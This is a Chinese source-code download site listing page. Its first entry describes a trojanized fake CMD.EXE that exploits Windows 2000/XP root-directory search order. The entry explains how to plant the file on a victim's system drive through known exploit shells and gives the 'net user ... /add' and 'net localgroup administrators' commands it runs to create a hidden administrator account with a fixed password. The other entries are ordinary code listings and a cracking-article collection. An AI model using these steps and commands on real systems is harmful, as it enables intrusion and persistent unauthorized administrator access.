你是不是經(jīng)常在開始菜單的運行窗口里運行命令呢? 看看這個漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在執(zhí)行搜索的時候, 首先查找根目錄 而開始菜單的運行窗口里執(zhí)行命令, 也是首先在系統(tǒng)盤的根目錄里進(jìn)行查找. 這個漏洞其實是已經(jīng)是公開的秘密了. 既然現(xiàn)在作為漏洞公布出來, 我也就把網(wǎng)上的PasswordReminder.cpp拿來改了改 加了一個加超級管理員用戶和執(zhí)行cmd.exe的功能. 使用方法: 把程序解壓, 把壓縮包里的文件 CMD.EXE (該文件具有隱藏和只讀屬性) 釋放到目標(biāo)機(jī)器的系統(tǒng)盤根目錄, 一般都是在C:比如利用UNICODE/Decode漏洞就有寫根目錄的權(quán)限, 同時Asp/fp30reg.dll等遠(yuǎn)程溢出出來的Shell, 一般都只有匿名權(quán)限, 但是它具有寫根目錄的權(quán)限 這個時候, 就可以把本程序放到目標(biāo)機(jī)器的系統(tǒng)盤根目錄 只要等管理員在機(jī)器的開始菜單里運行命令: cmd 一切盡在掌握中.:) PS: 系統(tǒng)執(zhí)行后, 會先產(chǎn)生一個線程來做一些處理 然后用system()函數(shù)調(diào)用cmd.exe來讓用戶能夠執(zhí)行命令. 產(chǎn)生出來的線程會產(chǎn)生兩個進(jìn)程序執(zhí)行如下兩個命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 這樣就在系統(tǒng)上增加了一個超級
標(biāo)簽： 964057 zdnet http 2100
上傳時間： 2015-01-12
上傳用戶：qlpqlq
給出一組數(shù)的全排列 如1,2,3給出 123,321,312
上傳時間： 2013-12-19
上傳用戶：jennyzai
PhpDig is a search engine written in PHP that uses a MySQL database backend. It features indexing of both static and dynamic pages, spidering of almost all links in HTML content, in hrefs, areamaps, and frames, and full text indexing. The search results appearence is skin-able, using a very simple templates system. PhpDig是一個用PHP編寫的搜索引擎，它使用MySQL數(shù)據(jù)庫后臺。它的功能有靜態(tài)和動態(tài)頁面索引，在HTML內(nèi)容中用hrefs, areamaps，和frames以及全文本索引構(gòu)成所有的鏈接網(wǎng)。搜索結(jié)果的外觀是可定制外觀的，使用一個非常簡單的模板系統(tǒng)。
標(biāo)簽： database features indexing backend
上傳時間： 2014-01-03
上傳用戶：haohaoxuexi
1400多篇各類破解文章全中文
上傳時間： 2014-01-08
上傳用戶：520
全球手機(jī)頂尖游戲3D MotoRacer制作全揭密1
上傳時間： 2013-12-24
上傳用戶：yyyyyyyyyy
這是一個非常全面的 C 語言常見問題解答的電子版資料，你可以在本程序中尋找到 TC 中絕大多數(shù)問題的答案。
上傳時間： 2015-01-15
上傳用戶：徐孺
一個可以進(jìn)行全角字符《－－－》半角字符轉(zhuǎn)化的 C 語言函數(shù)。
標(biāo)簽： 字符 函數(shù) 轉(zhuǎn)化 語言
上傳時間： 2013-12-18
上傳用戶：woshiayin
Java實現(xiàn)串口全雙工通訊
上傳時間： 2014-12-03
上傳用戶：亞亞娟娟123
VB九全大補(bǔ)膏,很多源碼集合。
標(biāo)簽： 多源
上傳時間： 2013-12-23
上傳用戶：ruixue198909
經(jīng)典算法之:連續(xù)郵資問題,全排列問題,有限期任務(wù)安排,整數(shù)劃分問題,裝載問題
上傳時間： 2013-12-27
上傳用戶：hebmuljb
蟲蟲下載站版權(quán)所有 京ICP備2021023401號-1
